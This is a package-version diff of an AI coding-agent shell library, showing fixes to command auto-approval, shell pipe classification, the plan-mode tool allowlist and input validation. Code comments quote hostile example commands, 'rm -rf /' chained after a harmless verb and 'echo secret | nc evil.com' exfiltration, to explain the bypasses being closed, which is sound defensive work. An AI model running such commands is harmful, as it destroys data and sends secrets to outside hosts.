@cjhyy/code-shell-core 0.5.0-rc.0 → 0.5.0-rc.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/agent/agent-definition-registry.d.ts +29 -0
- package/dist/agent/agent-definition-registry.js +74 -0
- package/dist/agent/agent-definition.d.ts +37 -0
- package/dist/agent/agent-definition.js +59 -0
- package/dist/arena/arena.js +11 -12
- package/dist/arena/context/context-tools.js +2 -4
- package/dist/arena/context/within-root.d.ts +7 -0
- package/dist/arena/context/within-root.js +15 -0
- package/dist/arena/iterate/phases/argue.js +8 -2
- package/dist/arena/iterate/phases/revise.js +1 -1
- package/dist/arena/iterate/phases/tournament.js +3 -3
- package/dist/arena/phases/adjudication.js +1 -4
- package/dist/arena/phases/build-consensus.js +1 -4
- package/dist/arena/phases/cross-review.js +2 -8
- package/dist/arena/phases/debate-rounds.js +1 -4
- package/dist/arena/phases/participant-research.js +1 -4
- package/dist/arena/phases/planning-detail-expansion.js +8 -10
- package/dist/arena/planner.js +0 -1
- package/dist/arena/providers/docs.d.ts +1 -0
- package/dist/arena/providers/docs.js +5 -2
- package/dist/arena/providers/repo.d.ts +1 -0
- package/dist/arena/providers/repo.js +5 -2
- package/dist/arena/strategies/utils.js +36 -3
- package/dist/arena/transitions.d.ts +7 -2
- package/dist/arena/transitions.js +9 -4
- package/dist/arena/types.d.ts +8 -2
- package/dist/automation/cron-expr.d.ts +31 -0
- package/dist/automation/cron-expr.js +151 -0
- package/dist/automation/index.d.ts +41 -0
- package/dist/automation/index.js +39 -0
- package/dist/automation/runner.d.ts +67 -0
- package/dist/automation/runner.js +56 -0
- package/dist/automation/scheduler.d.ts +156 -0
- package/dist/automation/scheduler.js +546 -0
- package/dist/automation/store.d.ts +39 -0
- package/dist/automation/store.js +119 -0
- package/dist/automation/write-policy.d.ts +34 -0
- package/dist/automation/write-policy.js +113 -0
- package/dist/automation/write-run.d.ts +51 -0
- package/dist/automation/write-run.js +38 -0
- package/dist/capability-control/index.d.ts +5 -0
- package/dist/capability-control/index.js +3 -0
- package/dist/capability-control/overlay.d.ts +49 -0
- package/dist/capability-control/overlay.js +89 -0
- package/dist/capability-control/project.d.ts +65 -0
- package/dist/capability-control/project.js +147 -0
- package/dist/capability-control/service.d.ts +70 -0
- package/dist/capability-control/service.js +147 -0
- package/dist/capability-control/types.d.ts +62 -0
- package/dist/capability-control/types.js +17 -0
- package/dist/cli/agent-server-stdio.d.ts +12 -1
- package/dist/cli/agent-server-stdio.js +118 -18
- package/dist/cli/agent-server-tcp.d.ts +20 -0
- package/dist/cli/agent-server-tcp.js +120 -0
- package/dist/cli/graceful-shutdown.d.ts +27 -0
- package/dist/cli/graceful-shutdown.js +30 -0
- package/dist/context/compaction.js +23 -15
- package/dist/context/manager.d.ts +0 -20
- package/dist/context/manager.js +0 -37
- package/dist/cron/cron-runtime.d.ts +2 -0
- package/dist/cron/cron-runtime.js +2 -0
- package/dist/cron/cron-store.d.ts +2 -0
- package/dist/cron/cron-store.js +2 -0
- package/dist/cron/scheduler.d.ts +5 -32
- package/dist/cron/scheduler.js +5 -113
- package/dist/data/openrouter-sync.js +1 -1
- package/dist/engine/engine.d.ts +256 -16
- package/dist/engine/engine.js +856 -200
- package/dist/engine/goal.d.ts +42 -0
- package/dist/engine/goal.js +52 -0
- package/dist/engine/image-compression.d.ts +81 -0
- package/dist/engine/image-compression.js +186 -0
- package/dist/engine/image-policy.d.ts +152 -0
- package/dist/engine/image-policy.js +165 -0
- package/dist/engine/reactive-threshold.d.ts +13 -0
- package/dist/engine/reactive-threshold.js +17 -0
- package/dist/engine/runtime.js +7 -0
- package/dist/engine/session-title.d.ts +13 -0
- package/dist/engine/session-title.js +34 -0
- package/dist/engine/turn-loop.d.ts +29 -8
- package/dist/engine/turn-loop.js +498 -316
- package/dist/git/parse-log.d.ts +13 -0
- package/dist/git/parse-log.js +21 -0
- package/dist/git/utils.d.ts +8 -6
- package/dist/git/utils.js +57 -26
- package/dist/git/worktree.js +33 -18
- package/dist/hooks/events.d.ts +23 -1
- package/dist/hooks/goal-stop-hook.d.ts +30 -0
- package/dist/hooks/goal-stop-hook.js +102 -0
- package/dist/hooks/hook-output.d.ts +33 -0
- package/dist/hooks/hook-output.js +79 -0
- package/dist/hooks/registry.d.ts +7 -0
- package/dist/hooks/registry.js +38 -1
- package/dist/hooks/shell-runner.d.ts +2 -0
- package/dist/hooks/shell-runner.js +43 -2
- package/dist/index.d.ts +32 -7
- package/dist/index.js +30 -3
- package/dist/llm/capabilities/reasoning-control.d.ts +24 -0
- package/dist/llm/capabilities/reasoning-control.js +38 -0
- package/dist/llm/capabilities/rules.js +33 -3
- package/dist/llm/capabilities/types.d.ts +22 -2
- package/dist/llm/clamp-max-tokens.d.ts +11 -0
- package/dist/llm/clamp-max-tokens.js +17 -0
- package/dist/llm/client-base.d.ts +41 -4
- package/dist/llm/client-base.js +67 -13
- package/dist/llm/client-factory.d.ts +3 -3
- package/dist/llm/client-factory.js +2 -2
- package/dist/llm/model-pool.d.ts +15 -11
- package/dist/llm/model-pool.js +23 -20
- package/dist/llm/provider-catalog.d.ts +2 -2
- package/dist/llm/providers/anthropic.d.ts +32 -2
- package/dist/llm/providers/anthropic.js +147 -8
- package/dist/llm/providers/openai.d.ts +11 -2
- package/dist/llm/providers/openai.js +253 -52
- package/dist/llm/reasoning-setting.d.ts +51 -0
- package/dist/llm/reasoning-setting.js +32 -0
- package/dist/llm/stop-reason.d.ts +13 -0
- package/dist/llm/stop-reason.js +21 -0
- package/dist/llm/strip-vision.d.ts +32 -0
- package/dist/llm/strip-vision.js +94 -0
- package/dist/llm/types.d.ts +5 -6
- package/dist/logging/logger.js +18 -4
- package/dist/logging/sanitize-messages.d.ts +10 -0
- package/dist/logging/sanitize-messages.js +90 -0
- package/dist/lsp/client.js +28 -8
- package/dist/lsp/manager.js +2 -1
- package/dist/lsp/root-path.d.ts +9 -0
- package/dist/lsp/root-path.js +12 -0
- package/dist/onboarding.js +18 -11
- package/dist/plugins/gitOps.d.ts +34 -0
- package/dist/plugins/gitOps.js +59 -3
- package/dist/plugins/installer/codex/convertAgents.d.ts +7 -0
- package/dist/plugins/installer/codex/convertAgents.js +55 -0
- package/dist/plugins/installer/codex/convertMcp.d.ts +8 -0
- package/dist/plugins/installer/codex/convertMcp.js +45 -0
- package/dist/plugins/installer/codex/convertSkills.d.ts +12 -0
- package/dist/plugins/installer/codex/convertSkills.js +33 -0
- package/dist/plugins/installer/detectFormat.d.ts +2 -0
- package/dist/plugins/installer/detectFormat.js +6 -0
- package/dist/plugins/installer/install.d.ts +7 -0
- package/dist/plugins/installer/install.js +99 -0
- package/dist/plugins/installer/installFromSource.d.ts +13 -0
- package/dist/plugins/installer/installFromSource.js +45 -0
- package/dist/plugins/installer/list.d.ts +9 -0
- package/dist/plugins/installer/list.js +30 -0
- package/dist/plugins/installer/loadPluginAgents.d.ts +3 -0
- package/dist/plugins/installer/loadPluginAgents.js +23 -0
- package/dist/plugins/installer/loadPluginMcp.d.ts +7 -0
- package/dist/plugins/installer/loadPluginMcp.js +74 -0
- package/dist/plugins/installer/parseSource.d.ts +20 -0
- package/dist/plugins/installer/parseSource.js +74 -0
- package/dist/plugins/installer/paths.d.ts +5 -0
- package/dist/plugins/installer/paths.js +25 -0
- package/dist/plugins/installer/types.d.ts +49 -0
- package/dist/plugins/installer/types.js +27 -0
- package/dist/plugins/installer/uninstall.d.ts +2 -0
- package/dist/plugins/installer/uninstall.js +14 -0
- package/dist/plugins/installer/update.d.ts +14 -0
- package/dist/plugins/installer/update.js +65 -0
- package/dist/plugins/loadPluginHooks.d.ts +8 -1
- package/dist/plugins/loadPluginHooks.js +11 -1
- package/dist/plugins/marketplaceManager.d.ts +8 -1
- package/dist/plugins/marketplaceManager.js +38 -4
- package/dist/plugins/pluginCommandHook.js +34 -0
- package/dist/plugins/pluginInstaller.d.ts +21 -0
- package/dist/plugins/pluginInstaller.js +128 -29
- package/dist/plugins/schemas.js +40 -6
- package/dist/plugins/types.d.ts +4 -0
- package/dist/preset/index.js +16 -0
- package/dist/prompt/composer.d.ts +10 -0
- package/dist/prompt/composer.js +29 -4
- package/dist/prompt/sections/orchestration.md +8 -0
- package/dist/protocol/chat-session-manager.d.ts +8 -1
- package/dist/protocol/chat-session-manager.js +10 -0
- package/dist/protocol/chat-session.d.ts +17 -0
- package/dist/protocol/chat-session.js +28 -0
- package/dist/protocol/redact.d.ts +50 -0
- package/dist/protocol/redact.js +71 -0
- package/dist/protocol/server.d.ts +41 -2
- package/dist/protocol/server.js +231 -33
- package/dist/protocol/tcp-transport.d.ts +45 -0
- package/dist/protocol/tcp-transport.js +74 -0
- package/dist/protocol/types.d.ts +23 -0
- package/dist/protocol/types.js +6 -0
- package/dist/remote/bridge.d.ts +11 -2
- package/dist/remote/bridge.js +61 -33
- package/dist/run/ArtifactTracker.js +5 -4
- package/dist/run/EngineRunner.d.ts +27 -1
- package/dist/run/EngineRunner.js +46 -8
- package/dist/run/FileRunStore.js +32 -8
- package/dist/run/RunLock.d.ts +28 -2
- package/dist/run/RunLock.js +49 -7
- package/dist/run/RunManager.js +51 -3
- package/dist/run/RunQueue.d.ts +1 -0
- package/dist/run/RunQueue.js +8 -2
- package/dist/run/factory.d.ts +7 -0
- package/dist/run/factory.js +1 -0
- package/dist/run/index.d.ts +2 -2
- package/dist/run/index.js +1 -1
- package/dist/run/redirect-target.d.ts +7 -0
- package/dist/run/redirect-target.js +13 -0
- package/dist/run/types.js +1 -1
- package/dist/services/browser-open.d.ts +13 -0
- package/dist/services/browser-open.js +16 -0
- package/dist/services/dream-consolidation.d.ts +57 -0
- package/dist/services/dream-consolidation.js +151 -0
- package/dist/services/memory-orchestrator.js +18 -0
- package/dist/services/notifier.d.ts +8 -0
- package/dist/services/notifier.js +39 -25
- package/dist/services/oauth.js +5 -7
- package/dist/services/session-memory-sort.d.ts +8 -0
- package/dist/services/session-memory-sort.js +9 -0
- package/dist/services/session-memory.js +8 -9
- package/dist/session/file-history.js +10 -3
- package/dist/session/session-manager.d.ts +23 -1
- package/dist/session/session-manager.js +73 -2
- package/dist/settings/disk-defaults.d.ts +35 -0
- package/dist/settings/disk-defaults.js +24 -0
- package/dist/settings/manager.d.ts +45 -1
- package/dist/settings/manager.js +121 -17
- package/dist/settings/manager.test.d.ts +1 -0
- package/dist/settings/manager.test.js +73 -0
- package/dist/settings/personalization.d.ts +19 -0
- package/dist/settings/personalization.js +7 -0
- package/dist/settings/schema.d.ts +1163 -126
- package/dist/settings/schema.js +126 -10
- package/dist/skills/scanner.d.ts +13 -6
- package/dist/skills/scanner.js +23 -4
- package/dist/tool-system/builtin/add-marketplace.d.ts +12 -0
- package/dist/tool-system/builtin/add-marketplace.js +76 -0
- package/dist/tool-system/builtin/agent-registry.d.ts +15 -0
- package/dist/tool-system/builtin/agent-registry.js +14 -4
- package/dist/tool-system/builtin/agent.d.ts +55 -0
- package/dist/tool-system/builtin/agent.js +165 -17
- package/dist/tool-system/builtin/apply-patch/index.js +22 -3
- package/dist/tool-system/builtin/arena.js +6 -7
- package/dist/tool-system/builtin/complete-goal.d.ts +25 -0
- package/dist/tool-system/builtin/complete-goal.js +45 -0
- package/dist/tool-system/builtin/cron.js +53 -9
- package/dist/tool-system/builtin/edit.d.ts +2 -1
- package/dist/tool-system/builtin/edit.js +6 -1
- package/dist/tool-system/builtin/generate-image.d.ts +25 -0
- package/dist/tool-system/builtin/generate-image.js +146 -0
- package/dist/tool-system/builtin/glob.js +7 -0
- package/dist/tool-system/builtin/grep.js +6 -0
- package/dist/tool-system/builtin/index.d.ts +18 -1
- package/dist/tool-system/builtin/index.js +62 -1
- package/dist/tool-system/builtin/notebook-edit.d.ts +2 -1
- package/dist/tool-system/builtin/notebook-edit.js +8 -1
- package/dist/tool-system/builtin/read.d.ts +2 -1
- package/dist/tool-system/builtin/read.js +9 -1
- package/dist/tool-system/builtin/skill.js +23 -5
- package/dist/tool-system/builtin/sleep.js +9 -3
- package/dist/tool-system/builtin/task.js +4 -1
- package/dist/tool-system/builtin/update-automation-memory.d.ts +24 -0
- package/dist/tool-system/builtin/update-automation-memory.js +60 -0
- package/dist/tool-system/builtin/view-image.d.ts +18 -0
- package/dist/tool-system/builtin/view-image.js +96 -0
- package/dist/tool-system/builtin/web-search.d.ts +4 -1
- package/dist/tool-system/builtin/web-search.js +36 -3
- package/dist/tool-system/builtin/write.d.ts +2 -1
- package/dist/tool-system/builtin/write.js +7 -1
- package/dist/tool-system/context.d.ts +43 -0
- package/dist/tool-system/executor.d.ts +0 -1
- package/dist/tool-system/executor.js +34 -40
- package/dist/tool-system/investigation-guard.d.ts +4 -1
- package/dist/tool-system/investigation-guard.js +19 -3
- package/dist/tool-system/mcp-manager.d.ts +36 -12
- package/dist/tool-system/mcp-manager.js +173 -10
- package/dist/tool-system/path-policy.d.ts +94 -0
- package/dist/tool-system/path-policy.js +279 -0
- package/dist/tool-system/permission.js +43 -50
- package/dist/tool-system/plan-mode-allowlist.d.ts +21 -0
- package/dist/tool-system/plan-mode-allowlist.js +43 -0
- package/dist/tool-system/registry.js +12 -1
- package/dist/tool-system/validation.d.ts +10 -0
- package/dist/tool-system/validation.js +16 -3
- package/dist/types.d.ts +90 -15
- package/dist/utils/format.js +4 -2
- package/dist/utils/lockfile.js +9 -2
- package/dist/utils/theme.d.ts +6 -0
- package/dist/utils/theme.js +4 -2
- package/package.json +2 -1
|
@@ -37,11 +37,10 @@ export class AutoApprovalBackend {
|
|
|
37
37
|
if (req.riskLevel === "low") {
|
|
38
38
|
return { approved: true };
|
|
39
39
|
}
|
|
40
|
-
//
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
// Auto-deny high-risk dangerous commands
|
|
40
|
+
// Deny gate runs BEFORE the safe-prefix fast-path: a high-risk command
|
|
41
|
+
// must never be auto-approved just because it begins with a "safe" verb
|
|
42
|
+
// (e.g. `mkdir /tmp && rm -rf /`). The classifier already flagged it
|
|
43
|
+
// dangerous; honor that first.
|
|
45
44
|
if (req.riskLevel === "high") {
|
|
46
45
|
if (this.delegate) {
|
|
47
46
|
return this.delegate.requestApproval(req);
|
|
@@ -51,11 +50,22 @@ export class AutoApprovalBackend {
|
|
|
51
50
|
reason: "auto mode: high-risk operation denied (no interactive approval available)",
|
|
52
51
|
};
|
|
53
52
|
}
|
|
54
|
-
//
|
|
53
|
+
// Auto-approve common safe patterns (only reachable for low/medium risk).
|
|
54
|
+
if (this.isSafeOperation(req)) {
|
|
55
|
+
return { approved: true };
|
|
56
|
+
}
|
|
57
|
+
// Medium risk that is NOT an established-safe operation: delegate if
|
|
58
|
+
// available, otherwise fail CLOSED (matching the high-risk branch and the
|
|
59
|
+
// "auto = approve safe operations only" contract). Auto-approving here
|
|
60
|
+
// would silently run unvetted commands like `kill`, `npm publish`, or
|
|
61
|
+
// unknown binaries.
|
|
55
62
|
if (this.delegate) {
|
|
56
63
|
return this.delegate.requestApproval(req);
|
|
57
64
|
}
|
|
58
|
-
return {
|
|
65
|
+
return {
|
|
66
|
+
approved: false,
|
|
67
|
+
reason: "auto mode: medium-risk operation denied (no interactive approval available)",
|
|
68
|
+
};
|
|
59
69
|
}
|
|
60
70
|
isSafeOperation(req) {
|
|
61
71
|
const { toolName, args } = req;
|
|
@@ -67,42 +77,15 @@ export class AutoApprovalBackend {
|
|
|
67
77
|
return true;
|
|
68
78
|
}
|
|
69
79
|
}
|
|
70
|
-
// Safe bash commands
|
|
80
|
+
// Safe bash commands. Reuse the metacharacter-aware classifier instead of
|
|
81
|
+
// a naive startsWith() prefix match — the latter only inspects the first
|
|
82
|
+
// token and is blind to command chaining (`&&`/`||`/`;`), substitution,
|
|
83
|
+
// redirection, and pipe-to-shell, so `mkdir /tmp && rm -rf /` would slip
|
|
84
|
+
// through. classifyBashCommand/scanShellCommand handle all of those.
|
|
71
85
|
if (toolName === "Bash") {
|
|
72
86
|
const cmd = String(args.command ?? "");
|
|
73
|
-
const
|
|
74
|
-
|
|
75
|
-
"npm ",
|
|
76
|
-
"pnpm ",
|
|
77
|
-
"yarn ",
|
|
78
|
-
"npx ",
|
|
79
|
-
"node ",
|
|
80
|
-
"tsc ",
|
|
81
|
-
"eslint ",
|
|
82
|
-
"prettier ",
|
|
83
|
-
"vitest ",
|
|
84
|
-
"jest ",
|
|
85
|
-
"cargo ",
|
|
86
|
-
"go ",
|
|
87
|
-
"python ",
|
|
88
|
-
"pip ",
|
|
89
|
-
"make ",
|
|
90
|
-
"ls ",
|
|
91
|
-
"cat ",
|
|
92
|
-
"head ",
|
|
93
|
-
"tail ",
|
|
94
|
-
"wc ",
|
|
95
|
-
"echo ",
|
|
96
|
-
"mkdir ",
|
|
97
|
-
"touch ",
|
|
98
|
-
"pwd",
|
|
99
|
-
"whoami",
|
|
100
|
-
"date",
|
|
101
|
-
"which ",
|
|
102
|
-
];
|
|
103
|
-
if (safePrefixes.some((p) => cmd.startsWith(p))) {
|
|
104
|
-
return true;
|
|
105
|
-
}
|
|
87
|
+
const level = classifyBashCommand(cmd);
|
|
88
|
+
return level === "safe-read" || level === "safe-write";
|
|
106
89
|
}
|
|
107
90
|
return false;
|
|
108
91
|
}
|
|
@@ -455,20 +438,30 @@ function scanShellCommand(input) {
|
|
|
455
438
|
function classifySegment(segment) {
|
|
456
439
|
if (DANGEROUS_PATTERNS.some((p) => p.test(segment)))
|
|
457
440
|
return "dangerous";
|
|
458
|
-
|
|
459
|
-
|
|
460
|
-
|
|
461
|
-
|
|
462
|
-
//
|
|
463
|
-
//
|
|
464
|
-
//
|
|
465
|
-
//
|
|
441
|
+
// Pipe handling FIRST: every command in the pipe must independently
|
|
442
|
+
// classify as safe-read for the segment to count as safe-read. This has to
|
|
443
|
+
// run before the whole-segment SAFE_READ/SAFE_WRITE match below, because
|
|
444
|
+
// those patterns are head-anchored (e.g. /^echo\s/) and would match
|
|
445
|
+
// `echo secret | nc evil.com` on its `echo ` head while ignoring the
|
|
446
|
+
// `| nc ...` exfil tail — declaring a piped-to-network command safe-read.
|
|
447
|
+
// We did not split on `|` in the scanner because pipes are not statement
|
|
448
|
+
// boundaries; they're per-segment data flow.
|
|
466
449
|
if (segment.includes("|")) {
|
|
450
|
+
// A pipe part may be an argument-less command (`ls`, `pwd`) whose trailing
|
|
451
|
+
// space was stripped along with the `|`. Test each part both as-is (for
|
|
452
|
+
// `$`-anchored patterns like /^pwd$/) and with a trailing space appended
|
|
453
|
+
// (for `\s`-delimited patterns like /^ls\s/), so neither form is missed.
|
|
467
454
|
const parts = segment.split("|").map((p) => p.trim());
|
|
468
|
-
|
|
455
|
+
const partIsSafeRead = (p) => SAFE_READ_PATTERNS.some((re) => re.test(p) || re.test(`${p} `));
|
|
456
|
+
if (parts.every(partIsSafeRead)) {
|
|
469
457
|
return "safe-read";
|
|
470
458
|
}
|
|
459
|
+
return "unsafe";
|
|
471
460
|
}
|
|
461
|
+
if (SAFE_READ_PATTERNS.some((p) => p.test(segment)))
|
|
462
|
+
return "safe-read";
|
|
463
|
+
if (SAFE_WRITE_PATTERNS.some((p) => p.test(segment)))
|
|
464
|
+
return "safe-write";
|
|
472
465
|
return "unsafe";
|
|
473
466
|
}
|
|
474
467
|
const SAFETY_RANK = {
|
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Single source of truth for which tools are permitted in plan mode.
|
|
3
|
+
*
|
|
4
|
+
* Two call sites consume this:
|
|
5
|
+
* - engine.ts: filters the tool DEFINITIONS shown to the model, so the
|
|
6
|
+
* model only sees tools it's allowed to use while planning.
|
|
7
|
+
* - executor.ts: gates tool EXECUTION, refusing anything outside the set.
|
|
8
|
+
*
|
|
9
|
+
* These two lists used to be maintained separately and drifted (engine had
|
|
10
|
+
* the Task family + Bash but not TodoWrite; executor had TodoWrite but not the
|
|
11
|
+
* Task family), so the model could be shown a tool the executor would then
|
|
12
|
+
* block, or vice-versa. Keep them identical by importing this constant in
|
|
13
|
+
* both places.
|
|
14
|
+
*
|
|
15
|
+
* Membership policy: read-only tools, planning/agent tools, and
|
|
16
|
+
* non-destructive task-tracking tools. Bash is included so the model sees it;
|
|
17
|
+
* the executor additionally gates Bash to read-only commands at call time
|
|
18
|
+
* (see executor.isReadOnlyBashCommand). Write/Edit/ApplyPatch/NotebookEdit and
|
|
19
|
+
* other mutating tools are intentionally excluded.
|
|
20
|
+
*/
|
|
21
|
+
export declare const PLAN_MODE_ALLOWED_TOOLS: ReadonlySet<string>;
|
|
@@ -0,0 +1,43 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Single source of truth for which tools are permitted in plan mode.
|
|
3
|
+
*
|
|
4
|
+
* Two call sites consume this:
|
|
5
|
+
* - engine.ts: filters the tool DEFINITIONS shown to the model, so the
|
|
6
|
+
* model only sees tools it's allowed to use while planning.
|
|
7
|
+
* - executor.ts: gates tool EXECUTION, refusing anything outside the set.
|
|
8
|
+
*
|
|
9
|
+
* These two lists used to be maintained separately and drifted (engine had
|
|
10
|
+
* the Task family + Bash but not TodoWrite; executor had TodoWrite but not the
|
|
11
|
+
* Task family), so the model could be shown a tool the executor would then
|
|
12
|
+
* block, or vice-versa. Keep them identical by importing this constant in
|
|
13
|
+
* both places.
|
|
14
|
+
*
|
|
15
|
+
* Membership policy: read-only tools, planning/agent tools, and
|
|
16
|
+
* non-destructive task-tracking tools. Bash is included so the model sees it;
|
|
17
|
+
* the executor additionally gates Bash to read-only commands at call time
|
|
18
|
+
* (see executor.isReadOnlyBashCommand). Write/Edit/ApplyPatch/NotebookEdit and
|
|
19
|
+
* other mutating tools are intentionally excluded.
|
|
20
|
+
*/
|
|
21
|
+
export const PLAN_MODE_ALLOWED_TOOLS = new Set([
|
|
22
|
+
// Plan lifecycle
|
|
23
|
+
"EnterPlanMode",
|
|
24
|
+
"ExitPlanMode",
|
|
25
|
+
// Read-only investigation
|
|
26
|
+
"Read",
|
|
27
|
+
"Glob",
|
|
28
|
+
"Grep",
|
|
29
|
+
"WebSearch",
|
|
30
|
+
"WebFetch",
|
|
31
|
+
// Agent / interaction / discovery
|
|
32
|
+
"AskUserQuestion",
|
|
33
|
+
"Agent",
|
|
34
|
+
"ToolSearch",
|
|
35
|
+
// Task tracking (non-destructive) — both the TodoWrite and the Task* family
|
|
36
|
+
"TodoWrite",
|
|
37
|
+
"TaskCreate",
|
|
38
|
+
"TaskUpdate",
|
|
39
|
+
"TaskList",
|
|
40
|
+
"TaskGet",
|
|
41
|
+
// Bash: visible to the model; executor gates it to read-only commands.
|
|
42
|
+
"Bash",
|
|
43
|
+
]);
|
|
@@ -101,7 +101,18 @@ export class ToolRegistry {
|
|
|
101
101
|
]);
|
|
102
102
|
clearTimeout(timerId);
|
|
103
103
|
parentSignal?.removeEventListener("abort", onParentAbort);
|
|
104
|
-
|
|
104
|
+
// executor 可返回纯字符串,或 { contentBlocks, result? }(view_image
|
|
105
|
+
// 用后者回传图片块)。归一化成 ToolResult:有 contentBlocks 就带上,
|
|
106
|
+
// result 始终保留一份文本镜像供 transcript / 摘要使用。
|
|
107
|
+
if (typeof result === "string") {
|
|
108
|
+
return { id, toolName: name, result };
|
|
109
|
+
}
|
|
110
|
+
return {
|
|
111
|
+
id,
|
|
112
|
+
toolName: name,
|
|
113
|
+
result: result.result ?? "(image)",
|
|
114
|
+
contentBlocks: result.contentBlocks,
|
|
115
|
+
};
|
|
105
116
|
}
|
|
106
117
|
catch (err) {
|
|
107
118
|
clearTimeout(timerId);
|
|
@@ -1,3 +1,13 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Lightweight tool input validation against a JSON Schema.
|
|
3
|
+
*
|
|
4
|
+
* NOT a full JSON-Schema validator: it only checks `required` presence and
|
|
5
|
+
* top-level primitive types (string/number/boolean). Arrays, objects, enums,
|
|
6
|
+
* nested shapes, and formats are intentionally NOT validated — this is a
|
|
7
|
+
* cheap pre-flight guard, not a substitute for the provider's own schema
|
|
8
|
+
* enforcement. (Was previously labelled "Zod-based" and imported `z`, but
|
|
9
|
+
* never used zod — corrected to avoid misleading readers.)
|
|
10
|
+
*/
|
|
1
11
|
/**
|
|
2
12
|
* Validate tool args against the tool's inputSchema.
|
|
3
13
|
* Returns null if valid, error string if invalid.
|
|
@@ -1,3 +1,13 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Lightweight tool input validation against a JSON Schema.
|
|
3
|
+
*
|
|
4
|
+
* NOT a full JSON-Schema validator: it only checks `required` presence and
|
|
5
|
+
* top-level primitive types (string/number/boolean). Arrays, objects, enums,
|
|
6
|
+
* nested shapes, and formats are intentionally NOT validated — this is a
|
|
7
|
+
* cheap pre-flight guard, not a substitute for the provider's own schema
|
|
8
|
+
* enforcement. (Was previously labelled "Zod-based" and imported `z`, but
|
|
9
|
+
* never used zod — corrected to avoid misleading readers.)
|
|
10
|
+
*/
|
|
1
11
|
/**
|
|
2
12
|
* Validate tool args against the tool's inputSchema.
|
|
3
13
|
* Returns null if valid, error string if invalid.
|
|
@@ -6,14 +16,17 @@ export function validateToolArgs(toolName, args, schema) {
|
|
|
6
16
|
try {
|
|
7
17
|
const properties = schema.properties;
|
|
8
18
|
const required = schema.required ?? [];
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
// Check
|
|
19
|
+
// Required-field presence does not depend on `properties` existing — a
|
|
20
|
+
// schema may declare `required` with no `properties` block (e.g. a
|
|
21
|
+
// malformed external MCP tool schema). Check it before the properties
|
|
22
|
+
// guard so missing params are still caught.
|
|
12
23
|
for (const field of required) {
|
|
13
24
|
if (args[field] === undefined || args[field] === null) {
|
|
14
25
|
return `Missing required parameter: ${field}`;
|
|
15
26
|
}
|
|
16
27
|
}
|
|
28
|
+
if (!properties)
|
|
29
|
+
return null; // No property shapes to type-check.
|
|
17
30
|
// Type check each provided field
|
|
18
31
|
for (const [key, value] of Object.entries(args)) {
|
|
19
32
|
const propSchema = properties[key];
|
package/dist/types.d.ts
CHANGED
|
@@ -9,6 +9,12 @@ export interface ContentBlock {
|
|
|
9
9
|
input?: Record<string, unknown>;
|
|
10
10
|
content?: string | ContentBlock[];
|
|
11
11
|
tool_use_id?: string;
|
|
12
|
+
/**
|
|
13
|
+
* 标记 tool_result 为出错,让 provider 据此设置 wire 层错误标志
|
|
14
|
+
* (Anthropic 的 `is_error: true`)。不设的话,出错的工具只会以普通
|
|
15
|
+
* content 文字回传,模型可能把超时/中断误当成成功。
|
|
16
|
+
*/
|
|
17
|
+
is_error?: boolean;
|
|
12
18
|
source?: {
|
|
13
19
|
type: "base64";
|
|
14
20
|
media_type: string;
|
|
@@ -37,6 +43,13 @@ export interface ToolResult {
|
|
|
37
43
|
id: string;
|
|
38
44
|
toolName: string;
|
|
39
45
|
result?: string;
|
|
46
|
+
/**
|
|
47
|
+
* 结构化结果块(目前仅图片)。存在时优先于 `result` 用作发给 LLM 的
|
|
48
|
+
* tool_result content —— view_image 用它把本地图片以 image ContentBlock
|
|
49
|
+
* 回传,让 vision 模型能「看」自己生成的图。非视觉模型由 provider 的
|
|
50
|
+
* stripVisionFromHistory 自动剥离,所以这里照常带图也安全。
|
|
51
|
+
*/
|
|
52
|
+
contentBlocks?: ContentBlock[];
|
|
40
53
|
error?: string;
|
|
41
54
|
isError?: boolean;
|
|
42
55
|
}
|
|
@@ -57,7 +70,7 @@ export interface RegisteredTool {
|
|
|
57
70
|
*/
|
|
58
71
|
timeoutMs?: number;
|
|
59
72
|
}
|
|
60
|
-
export type TranscriptEventType = "message" | "tool_use" | "tool_result" | "summary" | "content_replace" | "file_history" | "plan_operation" | "session_meta" | "turn_boundary" | "error";
|
|
73
|
+
export type TranscriptEventType = "message" | "tool_use" | "tool_result" | "summary" | "content_replace" | "file_history" | "plan_operation" | "session_meta" | "turn_boundary" | "goal_progress" | "error";
|
|
61
74
|
export interface TranscriptEvent {
|
|
62
75
|
id: string;
|
|
63
76
|
type: TranscriptEventType;
|
|
@@ -67,12 +80,16 @@ export interface TranscriptEvent {
|
|
|
67
80
|
}
|
|
68
81
|
/**
|
|
69
82
|
* Session lifecycle state persisted in state.json. `"active"` means a run is
|
|
70
|
-
* currently in flight (or was, at the moment of the last heartbeat)
|
|
71
|
-
*
|
|
72
|
-
*
|
|
73
|
-
*
|
|
83
|
+
* currently in flight (or was, at the moment of the last heartbeat);
|
|
84
|
+
* `"paused"` is a non-terminal hold (not a {@link TerminalReason}). Every
|
|
85
|
+
* other value matches the TerminalReason the last run returned, so callers can
|
|
86
|
+
* distinguish a user-cancelled session (`"aborted_streaming"`) from an actual
|
|
87
|
+
* error (`"model_error"`, `"prompt_too_long"`, ...).
|
|
74
88
|
*/
|
|
75
89
|
export type SessionStatus = "active" | "paused" | TerminalReason;
|
|
90
|
+
/** Which host/context created a session — used by the desktop disk-rebuild to
|
|
91
|
+
* filter the sidebar (only `desktop` + `automation` are shown). */
|
|
92
|
+
export type SessionOrigin = "desktop" | "tui" | "automation" | "subagent";
|
|
76
93
|
export interface SessionState {
|
|
77
94
|
sessionId: string;
|
|
78
95
|
cwd: string;
|
|
@@ -82,7 +99,18 @@ export interface SessionState {
|
|
|
82
99
|
tokenUsage: TokenUsage;
|
|
83
100
|
turnCount: number;
|
|
84
101
|
invokedSkills: string[];
|
|
85
|
-
|
|
102
|
+
/**
|
|
103
|
+
* Owning parent session for a sub-agent run; `null` explicitly marks a
|
|
104
|
+
* top-level session (post-create marker). Absent only on legacy sessions
|
|
105
|
+
* written before this field existed — the desktop disk-rebuild uses
|
|
106
|
+
* "key present && null" to tell a new top-level session apart from legacy.
|
|
107
|
+
*/
|
|
108
|
+
